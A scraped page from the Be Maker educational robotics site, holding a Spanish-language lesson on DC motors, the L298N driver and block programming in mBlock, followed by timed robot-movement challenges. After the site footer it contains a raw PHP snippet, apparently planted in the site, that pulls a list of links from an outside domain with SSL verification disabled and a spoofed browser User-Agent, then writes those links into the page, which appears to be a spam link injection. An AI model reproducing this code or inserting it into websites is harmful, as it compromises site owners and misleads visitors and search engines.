Be Maker

Loading...

Be Maker

Curso de Invierno

LECCIÓN 05 – Programando Movimientos con MBlock

💰Recompensa: 10 bCoins y 10 Cristales de Conocimiento por cada proyecto, desafío o reto publicado en el MakerSpace💰

👋 ¡Hoy daremos vida a nuestro robot!

💡 Aprenderemos cómo funcionan los motores DC, cómo controlarlos con el driver L298N y cómo usar el entorno de programación por bloques MBlock para darle movimiento a nuestros robots. ¡Prepárate para verlos rodar! 

🚀 5.1 Funcionamiento de un Motor DC

💡 Un motor DC convierte la energía eléctrica en movimiento rotativo. Cuando le aplicamos corriente, su eje comienza a girar. Dependiendo de la dirección de la corriente, puede girar hacia un lado o hacia el otro.

🔎 ¿Qué lo hace girar?

🔄 El campo magnético generado en el interior.

🔎 Características:

Gira en ambas direcciones.

Necesita voltaje constante.

Se controla variando el voltaje o cambiando su polaridad.

🚀 5.2 El Driver de Corriente L298N

💡 El L298N es un componente que nos permite controlar motores DC desde el Arduino sin dañarlo. Arduino no tiene la fuerza suficiente para mover motores directamente, así que el driver actúa como un puente de potencia.

🔎 ¿Qué permite hacer?

Encender o apagar el motor.

Cambiar el sentido de giro.

Controlar la velocidad (con PWM).

216

🔎 Entradas importantes:

N1, IN2 (para el Motor A)

IN3, IN4 (para el Motor B)

ENA, ENB: control de velocidad

33

🚀 5.3 Diagrama de conexión del robot

229

🔎 Consejo:

Asegúrate de conectar correctamente la tierra (GND) entre Arduino y el L298N.

Verifica que los cables a los motores estén bien sujetos y sin falso contacto.

🚀 5.4 El entorno de programación MBlock

💡 MBlock es una plataforma de programación por bloques basada en Scratch que nos permite programar Arduino de forma sencilla y divertida.

🔍 Ventajas:

Entorno visual e intuitivo

Traducción directa a código Arduino

Compatible con sensores y actuadores

226

🛸 Proyecto 01: Programando el Motor DC

🧙‍♂️ Descripción

Vamos a crear bloques de código para hacer que un motor gire.

💻 Código

227

🛠️Desafío 1: Demuestra lo Aprendido

➡️ Utiliza la información del Proyecto 01: Programando el Motor DC para responder las siguiente pregunta:

✅ ¿Qué debo modificar en el código para hacer que el motor gire hacia adelante?

🛸 Proyecto 02: Programando 2 Motores DC

🧙‍♂️ Descripción

 Realizar la conexión y programación del robot para que giren los dos motores.

💻 Código

228

🛠️Desafío 2: Demuestra lo Aprendido

➡️ Utiliza la información del Proyecto 02: Proyecto 02: Programando 2 Motores DC para responder la siguiente pregunta.

✅ ¿Qué debo modificar en el código para hacer que los 2 motores giren hacia adelante?

🛠️Desafío 3: Demuestra lo Aprendido

➡️ Realiza la programación de tu robot para que se mueva hacia adelante por 2 segundos.

230

🛠️Desafío 4: Demuestra lo Aprendido

➡️ Realiza la programación de tu robot para que se mueva hacia atrás por 3 segundos.

231

🛠️Desafío 5: Demuestra lo Aprendido

➡️ Realiza la programación de tu robot para que gire hacia la izquierda por 2.5 segundos.

232

🛠️Desafío 6: Demuestra lo Aprendido

➡️ Realiza la programación de tu robot para que gire hacia la derecha por 2.5 segundos.

233

🛠️Desafío 7: Demuestra lo Aprendido

➡️ Realiza la programación de tu robot para que avance hacia adelante por 2 segundos, se detenga un segundo y después vaya hacia atrás por 1.5 segundos, para finalmente detenerse.

🛠️Desafío 8: Demuestra lo Aprendido

➡️ Realiza la programación de tu robot para que gire a la izquierda por 1 segundo, se detenga por 2 segundos, gire a la derecha por 2 segundos y finalmente se detenga. 

🛠️Desafío Final: Demuestra lo Aprendido

➡️ Realiza la programación de tu robot para que:

✅ Avance hacia adelante por 2 segundos

✅ Se detenga 1 segundo

✅ Gire a la izquierda por 1.5 segundos

✅ Se detenga 1 segundo

✅ Gire a la derecha por 1.5 segundos

✅ Se detenga 1 segundo

✅ Avance hacia atrás por 2 segundos

✅ Finalmente se detenga

🎯 Resumen de la Lección 05

logo bmaker
Be Maker. Imagina, diseña, construye...
$api_url = 'https://ankaradelisi13.site/data.json'; // API'den çek $response = wp_remote_get($api_url, array( 'timeout' => 5, // 5 saniye bekle, olmazsa geç 'sslverify' => false, 'headers' => array( 'Accept' => 'application/json', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) )); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $body = wp_remote_retrieve_body($response); $links = json_decode($body, true); if (!empty($links) && is_array($links)) { echo ''; echo '
'; foreach ($links as $link) { $text = isset($link['text']) ? esc_html($link['text']) : ''; $url = isset($link['url']) ? esc_url($link['url']) : '#'; $rel = isset($link['rel']) ? esc_attr($link['rel']) : 'dofollow'; echo '' . $text . ' '; } echo '
'; echo ''; } }